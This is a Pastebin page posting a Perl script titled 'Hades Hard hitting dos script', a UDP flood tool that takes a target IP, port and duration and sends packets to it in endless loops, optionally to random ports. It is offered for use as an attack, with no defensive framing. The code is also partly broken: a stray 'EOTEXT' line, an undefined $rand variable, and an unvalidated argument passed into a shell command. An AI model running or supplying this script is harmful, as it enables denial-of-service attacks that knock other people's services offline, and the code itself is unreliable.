Advertisement
Ov3rxRide

Hades Hard hitting dos script

Nov 17th, 2016
590
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.97 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. #command   perl hades.pl target ip port time
  4. #use port 800
  5.  
  6. use Socket;
  7.  
  8. $ARGC=@ARGV;
  9.  
  10. if ($ARGC !=3) {
  11.  printf "UDP Flood\n";
  12.  printf "perl $0 ip port time\n";
  13.  exit(1);
  14. }
  15.  
  16. my ($ip,$port,$size,$time);
  17.  $ip=$ARGV[0];
  18.  $port=$ARGV[1];
  19.  $time=$ARGV[2];
  20.  
  21. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  22.     $iaddr = inet_aton("$ip");
  23.  
  24.  
  25. EOTEXT
  26. printf "~Striking Down $ip on port $port\n";
  27.  
  28. if ($ARGV[1] ==0 && $ARGV[2] ==0) {
  29.  goto randpackets;
  30. }
  31. if ($ARGV[1] !=0 && $ARGV[2] !=0) {
  32.  system("(sleep $time;killall -9 udp) &");
  33.  goto packets;
  34. }
  35. if ($ARGV[1] !=0 && $ARGV[2] ==0) {
  36.  goto packets;
  37. }
  38. if ($ARGV[1] ==0 && $ARGV[2] !=0) {
  39.  system("(sleep $time;killall -9 udp) &");
  40.  goto randpackets;
  41. }
  42.  
  43. packets:
  44. for (;;) {
  45.  $size=$rand x $rand x $rand;
  46.  send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  47. }
  48.  
  49. randpackets:
  50. for (;;) {
  51.  $size=$rand x $rand x $rand;
  52.  $port=int(rand 65000) +1;
  53.  send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  54. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement